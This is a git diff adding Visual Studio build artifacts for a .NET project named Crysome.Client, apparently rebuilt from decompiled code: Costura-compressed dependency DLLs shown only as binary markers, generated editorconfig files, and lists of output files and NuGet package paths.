a/Crysome.Client/obj/Debug/Costura/2AED74577F5F623F7E910ADDA8EF74A11EEA0437.costura.system.security.principal.windows.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/2AED74577F5F623F7E910ADDA8EF74A11EEA0437.costura.system.security.principal.windows.dll.compressed.compressed new file mode 100644 index 0000000..0b8b931 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/2AED74577F5F623F7E910ADDA8EF74A11EEA0437.costura.system.security.principal.windows.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/2DA9EC7612835E1F69D4A93AA2D49EC9BDFF7F7C.costura.aforge.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/2DA9EC7612835E1F69D4A93AA2D49EC9BDFF7F7C.costura.aforge.dll.compressed.compressed new file mode 100644 index 0000000..9aadb9e Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/2DA9EC7612835E1F69D4A93AA2D49EC9BDFF7F7C.costura.aforge.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/2E8785F0098C3D42182C6FA7B977244D710A4C30.costura.system.data.sqlite.linq.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/2E8785F0098C3D42182C6FA7B977244D710A4C30.costura.system.data.sqlite.linq.dll.compressed.compressed new file mode 100644 index 0000000..88ecfa2 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/2E8785F0098C3D42182C6FA7B977244D710A4C30.costura.system.data.sqlite.linq.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/3CD982AD2FB00A50151D7F416E4B05F79528496E.costura.entityframework.sqlserver.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/3CD982AD2FB00A50151D7F416E4B05F79528496E.costura.entityframework.sqlserver.dll.compressed.compressed new file mode 100644 index 0000000..75df72c Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/3CD982AD2FB00A50151D7F416E4B05F79528496E.costura.entityframework.sqlserver.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/54C76A2FA61E6DF1AE4C9DF65435A38482C2CB71.costura.entityframework.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/54C76A2FA61E6DF1AE4C9DF65435A38482C2CB71.costura.entityframework.dll.compressed.compressed new file mode 100644 index 0000000..b5d6ab9 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/54C76A2FA61E6DF1AE4C9DF65435A38482C2CB71.costura.entityframework.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/55DDFBE80762C02F9A9C65809F9EC3EF8F7F2CCC.costura.system.text.encodings.web.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/55DDFBE80762C02F9A9C65809F9EC3EF8F7F2CCC.costura.system.text.encodings.web.dll.compressed.compressed new file mode 100644 index 0000000..d34e4ba Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/55DDFBE80762C02F9A9C65809F9EC3EF8F7F2CCC.costura.system.text.encodings.web.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/5BA0C52D9D60B34EE74D013F8389804029E60F0E.costura.system.data.sqlite.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/5BA0C52D9D60B34EE74D013F8389804029E60F0E.costura.system.data.sqlite.dll.compressed.compressed new file mode 100644 index 0000000..37f1f7b Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/5BA0C52D9D60B34EE74D013F8389804029E60F0E.costura.system.data.sqlite.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/6C6000A5EAF8579850AB82A89BD6268776EB51AD.costura.costura.pdb.compressed.compressed b/Crysome.Client/obj/Debug/Costura/6C6000A5EAF8579850AB82A89BD6268776EB51AD.costura.costura.pdb.compressed.compressed new file mode 100644 index 0000000..4a9baf3 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/6C6000A5EAF8579850AB82A89BD6268776EB51AD.costura.costura.pdb.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/6CF807DAA6AB142EAD6619ADDF8FC11C56DD51F9.costura.naudio.winforms.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/6CF807DAA6AB142EAD6619ADDF8FC11C56DD51F9.costura.naudio.winforms.dll.compressed.compressed new file mode 100644 index 0000000..4a73dab Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/6CF807DAA6AB142EAD6619ADDF8FC11C56DD51F9.costura.naudio.winforms.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/74DC07A8CCCEE0CA3BF5CF64320230CA1A37AD85.costura.microsoft.bcl.asyncinterfaces.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/74DC07A8CCCEE0CA3BF5CF64320230CA1A37AD85.costura.microsoft.bcl.asyncinterfaces.dll.compressed.compressed new file mode 100644 index 0000000..b9e7f49 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/74DC07A8CCCEE0CA3BF5CF64320230CA1A37AD85.costura.microsoft.bcl.asyncinterfaces.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/85DC92EDD4B0049ED9049E075C4DEF8A3D64E43B.costura.system.diagnostics.diagnosticsource.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/85DC92EDD4B0049ED9049E075C4DEF8A3D64E43B.costura.system.diagnostics.diagnosticsource.dll.compressed.compressed new file mode 100644 index 0000000..b707e52 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/85DC92EDD4B0049ED9049E075C4DEF8A3D64E43B.costura.system.diagnostics.diagnosticsource.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/8890AD1911448490526D2A45AC8CC518B6E886A2.costura.system.numerics.vectors.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/8890AD1911448490526D2A45AC8CC518B6E886A2.costura.system.numerics.vectors.dll.compressed.compressed new file mode 100644 index 0000000..ed53f43 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/8890AD1911448490526D2A45AC8CC518B6E886A2.costura.system.numerics.vectors.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/89B053B11D08FD0B457A2480F822A26E2B52AA85.costura.system.codedom.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/89B053B11D08FD0B457A2480F822A26E2B52AA85.costura.system.codedom.dll.compressed.compressed new file mode 100644 index 0000000..37f15fe Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/89B053B11D08FD0B457A2480F822A26E2B52AA85.costura.system.codedom.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/8A3B1BD9DF5D052C24DE2304A2928FAD86927F6D.costura.system.security.accesscontrol.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/8A3B1BD9DF5D052C24DE2304A2928FAD86927F6D.costura.system.security.accesscontrol.dll.compressed.compressed new file mode 100644 index 0000000..bacc690 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/8A3B1BD9DF5D052C24DE2304A2928FAD86927F6D.costura.system.security.accesscontrol.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/8A45F0400F6BC46D254120345FD5E39B6C9B71A1.costura.naudio.wasapi.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/8A45F0400F6BC46D254120345FD5E39B6C9B71A1.costura.naudio.wasapi.dll.compressed.compressed new file mode 100644 index 0000000..644a63c Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/8A45F0400F6BC46D254120345FD5E39B6C9B71A1.costura.naudio.wasapi.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/8C23283128D23F6CBC208E3A485A1CF1A9C0CB50.costura.system.buffers.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/8C23283128D23F6CBC208E3A485A1CF1A9C0CB50.costura.system.buffers.dll.compressed.compressed new file mode 100644 index 0000000..58e80f8 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/8C23283128D23F6CBC208E3A485A1CF1A9C0CB50.costura.system.buffers.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/B01C83EC51F7A6548D1BABB5E5FF8D5B944965A1.costura.naudio.asio.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/B01C83EC51F7A6548D1BABB5E5FF8D5B944965A1.costura.naudio.asio.dll.compressed.compressed new file mode 100644 index 0000000..1a288eb Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/B01C83EC51F7A6548D1BABB5E5FF8D5B944965A1.costura.naudio.asio.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/B699E8E2CFC52BC3CFBA182FDABFC7F6FF8F82DE.costura.naudio.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/B699E8E2CFC52BC3CFBA182FDABFC7F6FF8F82DE.costura.naudio.dll.compressed.compressed new file mode 100644 index 0000000..016c99c Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/B699E8E2CFC52BC3CFBA182FDABFC7F6FF8F82DE.costura.naudio.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/CB874B2A2561239B5B1C30A49574229716F5F62D.costura.naudio.midi.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/CB874B2A2561239B5B1C30A49574229716F5F62D.costura.naudio.midi.dll.compressed.compressed new file mode 100644 index 0000000..25d2ab8 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/CB874B2A2561239B5B1C30A49574229716F5F62D.costura.naudio.midi.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/CCC0931E2CF3D6D79E24C1F28D9C96B40C131AF6.costura.naudio.core.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/CCC0931E2CF3D6D79E24C1F28D9C96B40C131AF6.costura.naudio.core.dll.compressed.compressed new file mode 100644 index 0000000..de0f369 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/CCC0931E2CF3D6D79E24C1F28D9C96B40C131AF6.costura.naudio.core.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/D1664731719E85AAD7A2273685D77FEB0204EC98.costura.system.valuetuple.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/D1664731719E85AAD7A2273685D77FEB0204EC98.costura.system.valuetuple.dll.compressed.compressed new file mode 100644 index 0000000..2ff8065 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/D1664731719E85AAD7A2273685D77FEB0204EC98.costura.system.valuetuple.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/D3A17C1FDD6D54951141053F88BF8238DEA0B937.costura.aforge.video.directshow.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/D3A17C1FDD6D54951141053F88BF8238DEA0B937.costura.aforge.video.directshow.dll.compressed.compressed new file mode 100644 index 0000000..7b8c8e9 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/D3A17C1FDD6D54951141053F88BF8238DEA0B937.costura.aforge.video.directshow.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/D3AD7F529C0B9232206348842E31566AD7347135.costura.system.text.json.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/D3AD7F529C0B9232206348842E31566AD7347135.costura.system.text.json.dll.compressed.compressed new file mode 100644 index 0000000..07c0408 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/D3AD7F529C0B9232206348842E31566AD7347135.costura.system.text.json.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/DDFFDCEF29DADDC36CA7D8AE2C8E01C1C8BB23A8.costura.aforge.video.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/DDFFDCEF29DADDC36CA7D8AE2C8E01C1C8BB23A8.costura.aforge.video.dll.compressed.compressed new file mode 100644 index 0000000..95f7635 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/DDFFDCEF29DADDC36CA7D8AE2C8E01C1C8BB23A8.costura.aforge.video.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/E5D644311A6087C6A500F0E79BAE4AF305430B3D.costura.system.runtime.compilerservices.unsafe.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/E5D644311A6087C6A500F0E79BAE4AF305430B3D.costura.system.runtime.compilerservices.unsafe.dll.compressed.compressed new file mode 100644 index 0000000..886219a Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/E5D644311A6087C6A500F0E79BAE4AF305430B3D.costura.system.runtime.compilerservices.unsafe.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906.costura.costura.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906.costura.costura.dll.compressed.compressed new file mode 100644 index 0000000..113157e Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906.costura.costura.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/F8A118F07EEA37CE732B487AB730646DEDC46235.costura.system.memory.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/F8A118F07EEA37CE732B487AB730646DEDC46235.costura.system.memory.dll.compressed.compressed new file mode 100644 index 0000000..ae1c98f Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/F8A118F07EEA37CE732B487AB730646DEDC46235.costura.system.memory.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Costura/FDCE078A53F6D2BEF5E2F0CFCED275806207EE7F.costura.crysome.common.client.dll.compressed.compressed b/Crysome.Client/obj/Debug/Costura/FDCE078A53F6D2BEF5E2F0CFCED275806207EE7F.costura.crysome.common.client.dll.compressed.compressed new file mode 100644 index 0000000..2034841 Binary files /dev/null and b/Crysome.Client/obj/Debug/Costura/FDCE078A53F6D2BEF5E2F0CFCED275806207EE7F.costura.crysome.common.client.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Debug/Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Client/obj/Debug/Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..b2b9be4 --- /dev/null +++ b/Crysome.Client/obj/Debug/Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,14 @@ +is_global = true +build_property.ApplicationManifest = +build_property.StartupObject = +build_property.ApplicationDefaultFont = +build_property.ApplicationHighDpiMode = +build_property.ApplicationUseCompatibleTextRendering = +build_property.ApplicationVisualStyles = +build_property.RootNamespace = Crysome.Client +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Client/obj/Debug/Crysome.Client.assets.cache b/Crysome.Client/obj/Debug/Crysome.Client.assets.cache new file mode 100644 index 0000000..e230b56 Binary files /dev/null and b/Crysome.Client/obj/Debug/Crysome.Client.assets.cache differ diff --git a/Crysome.Client/obj/Debug/Crysome.Client.csproj.AssemblyReference.cache b/Crysome.Client/obj/Debug/Crysome.Client.csproj.AssemblyReference.cache new file mode 100644 index 0000000..0592676 Binary files /dev/null and b/Crysome.Client/obj/Debug/Crysome.Client.csproj.AssemblyReference.cache differ diff --git a/Crysome.Client/obj/Debug/Crysome.Client.csproj.CoreCompileInputs.cache b/Crysome.Client/obj/Debug/Crysome.Client.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..0a07549 --- /dev/null +++ b/Crysome.Client/obj/Debug/Crysome.Client.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +3e86855d861eab533dca0f5a818c58696c0fdc79ee336dc8f1cda63acbf24b38 diff --git a/Crysome.Client/obj/Debug/Crysome.Client.csproj.FileListAbsolute.txt b/Crysome.Client/obj/Debug/Crysome.Client.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..c4d490c --- /dev/null +++ b/Crysome.Client/obj/Debug/Crysome.Client.csproj.FileListAbsolute.txt @@ -0,0 +1,17 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.csproj.AssemblyReference.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Client.exe +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Client.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Client.runtimeconfig.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Client.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Client.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Client.exe +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Client.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Client.exe.config +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.csproj.SuggestedBindingRedirects.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.exe.config +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.csproj.Fody.CopyLocal.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.csproj.Fody.RuntimeCopyLocal.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\Crysome.Client.exe diff --git a/Crysome.Client/obj/Debug/Crysome.Client.csproj.Fody.CopyLocal.cache b/Crysome.Client/obj/Debug/Crysome.Client.csproj.Fody.CopyLocal.cache new file mode 100644 index 0000000..e69de29 diff --git a/Crysome.Client/obj/Debug/Crysome.Client.csproj.Fody.RuntimeCopyLocal.cache b/Crysome.Client/obj/Debug/Crysome.Client.csproj.Fody.RuntimeCopyLocal.cache new file mode 100644 index 0000000..1c40deb --- /dev/null +++ b/Crysome.Client/obj/Debug/Crysome.Client.csproj.Fody.RuntimeCopyLocal.cache @@ -0,0 +1,54 @@ +C:\Users\lukas\.nuget\packages\aforge\2.2.5\lib\AForge.dll +C:\Users\lukas\.nuget\packages\aforge.video\2.2.5\lib\AForge.Video.dll +C:\Users\lukas\.nuget\packages\aforge.video.directshow\2.2.5\lib\AForge.Video.DirectShow.dll +C:\Users\lukas\.nuget\packages\entityframework\6.4.4\lib\net45\EntityFramework.SqlServer.dll +C:\Users\lukas\.nuget\packages\entityframework\6.4.4\lib\net45\EntityFramework.dll +C:\Users\lukas\.nuget\packages\microsoft.bcl.asyncinterfaces\8.0.0\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll +C:\Users\lukas\.nuget\packages\microsoft.win32.primitives\4.3.0\lib\net46\Microsoft.Win32.Primitives.dll +C:\Users\lukas\.nuget\packages\microsoft.win32.registry\4.7.0\runtimes\win\lib\net461\Microsoft.Win32.Registry.dll +C:\Users\lukas\.nuget\packages\naudio\2.2.1\lib\net472\NAudio.dll +C:\Users\lukas\.nuget\packages\naudio.asio\2.2.1\lib\netstandard2.0\NAudio.Asio.dll +C:\Users\lukas\.nuget\packages\naudio.core\2.2.1\lib\netstandard2.0\NAudio.Core.dll +C:\Users\lukas\.nuget\packages\naudio.midi\2.2.1\lib\netstandard2.0\NAudio.Midi.dll +C:\Users\lukas\.nuget\packages\naudio.wasapi\2.2.1\lib\netstandard2.0\NAudio.Wasapi.dll +C:\Users\lukas\.nuget\packages\naudio.winforms\2.2.1\lib\net472\NAudio.WinForms.dll +C:\Users\lukas\.nuget\packages\naudio.winmm\2.2.1\lib\netstandard2.0\NAudio.WinMM.dll +C:\Users\lukas\.nuget\packages\stub.system.data.sqlite.core.netframework\1.0.119\lib\net46\System.Data.SQLite.dll +C:\Users\lukas\.nuget\packages\system.appcontext\4.3.0\lib\net463\System.AppContext.dll +C:\Users\lukas\.nuget\packages\system.buffers\4.6.0\lib\net462\System.Buffers.dll +C:\Users\lukas\.nuget\packages\system.codedom\9.0.0\lib\net462\System.CodeDom.dll +C:\Users\lukas\.nuget\packages\system.console\4.3.0\lib\net46\System.Console.dll +C:\Users\lukas\.nuget\packages\system.data.sqlite.ef6\1.0.119\lib\net46\System.Data.SQLite.EF6.dll +C:\Users\lukas\.nuget\packages\system.data.sqlite.linq\1.0.119\lib\net46\System.Data.SQLite.Linq.dll +C:\Users\lukas\.nuget\packages\system.diagnostics.diagnosticsource\4.3.0\lib\net46\System.Diagnostics.DiagnosticSource.dll +C:\Users\lukas\.nuget\packages\system.diagnostics.tracing\4.3.0\lib\net462\System.Diagnostics.Tracing.dll +C:\Users\lukas\.nuget\packages\system.globalization.calendars\4.3.0\lib\net46\System.Globalization.Calendars.dll +C:\Users\lukas\.nuget\packages\system.io\4.3.0\lib\net462\System.IO.dll +C:\Users\lukas\.nuget\packages\system.io.compression\4.3.0\runtimes\win\lib\net46\System.IO.Compression.dll +C:\Users\lukas\.nuget\packages\system.io.compression.zipfile\4.3.0\lib\net46\System.IO.Compression.ZipFile.dll +C:\Users\lukas\.nuget\packages\system.io.filesystem\4.3.0\lib\net46\System.IO.FileSystem.dll +C:\Users\lukas\.nuget\packages\system.io.filesystem.primitives\4.3.0\lib\net46\System.IO.FileSystem.Primitives.dll +C:\Users\lukas\.nuget\packages\system.linq\4.3.0\lib\net463\System.Linq.dll +C:\Users\lukas\.nuget\packages\system.linq.expressions\4.3.0\lib\net463\System.Linq.Expressions.dll +C:\Users\lukas\.nuget\packages\system.memory\4.6.0\lib\net462\System.Memory.dll +C:\Users\lukas\.nuget\packages\system.net.http\4.3.0\runtimes\win\lib\net46\System.Net.Http.dll +C:\Users\lukas\.nuget\packages\system.net.sockets\4.3.0\lib\net46\System.Net.Sockets.dll +C:\Users\lukas\.nuget\packages\system.numerics.vectors\4.6.0\lib\net462\System.Numerics.Vectors.dll +C:\Users\lukas\.nuget\packages\system.reflection\4.3.0\lib\net462\System.Reflection.dll +C:\Users\lukas\.nuget\packages\system.runtime\4.3.0\lib\net462\System.Runtime.dll +C:\Users\lukas\.nuget\packages\system.runtime.compilerservices.unsafe\6.1.0\lib\net462\System.Runtime.CompilerServices.Unsafe.dll +C:\Users\lukas\.nuget\packages\system.runtime.extensions\4.3.0\lib\net462\System.Runtime.Extensions.dll +C:\Users\lukas\.nuget\packages\system.runtime.interopservices\4.3.0\lib\net463\System.Runtime.InteropServices.dll +C:\Users\lukas\.nuget\packages\system.runtime.interopservices.runtimeinformation\4.3.0\runtimes\win\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll +C:\Users\lukas\.nuget\packages\system.security.accesscontrol\4.7.0\runtimes\win\lib\net461\System.Security.AccessControl.dll +C:\Users\lukas\.nuget\packages\system.security.cryptography.algorithms\4.3.0\runtimes\win\lib\net463\System.Security.Cryptography.Algorithms.dll +C:\Users\lukas\.nuget\packages\system.security.cryptography.encoding\4.3.0\runtimes\win\lib\net46\System.Security.Cryptography.Encoding.dll +C:\Users\lukas\.nuget\packages\system.security.cryptography.primitives\4.3.0\lib\net46\System.Security.Cryptography.Primitives.dll +C:\Users\lukas\.nuget\packages\system.security.cryptography.x509certificates\4.3.0\runtimes\win\lib\net461\System.Security.Cryptography.X509Certificates.dll +C:\Users\lukas\.nuget\packages\system.security.principal.windows\4.7.0\runtimes\win\lib\net461\System.Security.Principal.Windows.dll +C:\Users\lukas\.nuget\packages\system.text.encodings.web\8.0.0\lib\net462\System.Text.Encodings.Web.dll +C:\Users\lukas\.nuget\packages\system.text.json\8.0.5\lib\net462\System.Text.Json.dll +C:\Users\lukas\.nuget\packages\system.text.regularexpressions\4.3.0\lib\net463\System.Text.RegularExpressions.dll +C:\Users\lukas\.nuget\packages\system.threading.tasks.extensions\4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll +C:\Users\lukas\.nuget\packages\system.valuetuple\4.5.0\lib\net47\System.ValueTuple.dll +C:\Users\lukas\.nuget\packages\system.xml.readerwriter\4.3.0\lib\net46\System.Xml.ReaderWriter.dll diff --git a/Crysome.Client/obj/Debug/Crysome.Client.csproj.SuggestedBindingRedirects.cache b/Crysome.Client/obj/Debug/Crysome.Client.csproj.SuggestedBindingRedirects.cache new file mode 100644 index 0000000..b57eaae --- /dev/null +++ b/Crysome.Client/obj/Debug/Crysome.Client.csproj.SuggestedBindingRedirects.cache @@ -0,0 +1 @@ +44b643cf61902f7025160687c952b6cdeaea31a8ec1bbb8168236340253f84ca diff --git a/Crysome.Client/obj/Debug/Crysome.Client.exe b/Crysome.Client/obj/Debug/Crysome.Client.exe new file mode 100644 index 0000000..33d7c03 Binary files /dev/null and b/Crysome.Client/obj/Debug/Crysome.Client.exe differ diff --git a/Crysome.Client/obj/Debug/Crysome.Client.exe.config b/Crysome.Client/obj/Debug/Crysome.Client.exe.config new file mode 100644 index 0000000..0e37c11 --- /dev/null +++ b/Crysome.Client/obj/Debug/Crysome.Client.exe.config @@ -0,0 +1,32 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Crysome.Client/obj/Debug/Crysome.Client.exe.withSupportedRuntime.config b/Crysome.Client/obj/Debug/Crysome.Client.exe.withSupportedRuntime.config new file mode 100644 index 0000000..dbd8e99 --- /dev/null +++ b/Crysome.Client/obj/Debug/Crysome.Client.exe.withSupportedRuntime.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/Crysome.Client/obj/Debug/Crysome.Client.pdb b/Crysome.Client/obj/Debug/Crysome.Client.pdb new file mode 100644 index 0000000..c2a80df Binary files /dev/null and b/Crysome.Client/obj/Debug/Crysome.Client.pdb differ diff --git a/Crysome.Client/obj/Debug/apphost.exe b/Crysome.Client/obj/Debug/apphost.exe new file mode 100644 index 0000000..08c3a01 Binary files /dev/null and b/Crysome.Client/obj/Debug/apphost.exe differ diff --git a/Crysome.Client/obj/Debug/win-x64/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs b/Crysome.Client/obj/Debug/win-x64/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs new file mode 100644 index 0000000..ea1f2ea --- /dev/null +++ b/Crysome.Client/obj/Debug/win-x64/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")] diff --git a/Crysome.Client/obj/Debug/win-x64/Crysome..2BF6066E.Up2Date b/Crysome.Client/obj/Debug/win-x64/Crysome..2BF6066E.Up2Date new file mode 100644 index 0000000..e69de29 diff --git a/Crysome.Client/obj/Debug/win-x64/Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..11111b7 --- /dev/null +++ b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,28 @@ +is_global = true +build_property.EnableAotAnalyzer = +build_property.EnableSingleFileAnalyzer = true +build_property.EnableTrimAnalyzer = +build_property.IncludeAllContentForSelfExtract = true +build_property.ApplicationManifest = +build_property.StartupObject = +build_property.ApplicationDefaultFont = +build_property.ApplicationHighDpiMode = +build_property.ApplicationUseCompatibleTextRendering = +build_property.ApplicationVisualStyles = +build_property.TargetFramework = net9.0-windows +build_property.TargetFrameworkIdentifier = .NETCoreApp +build_property.TargetFrameworkVersion = v9.0 +build_property.TargetPlatformMinVersion = 7.0 +build_property.UsingMicrosoftNETSdkWeb = +build_property.ProjectTypeGuids = +build_property.InvariantGlobalization = +build_property.PlatformNeutralAssembly = +build_property.EnforceExtendedAnalyzerRules = +build_property._SupportedPlatformList = Linux,macOS,Windows +build_property.RootNamespace = Crysome.Client +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = 9.0 +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Client/obj/Debug/win-x64/Crysome.Client.assets.cache b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.assets.cache new file mode 100644 index 0000000..4643c10 Binary files /dev/null and b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.assets.cache differ diff --git 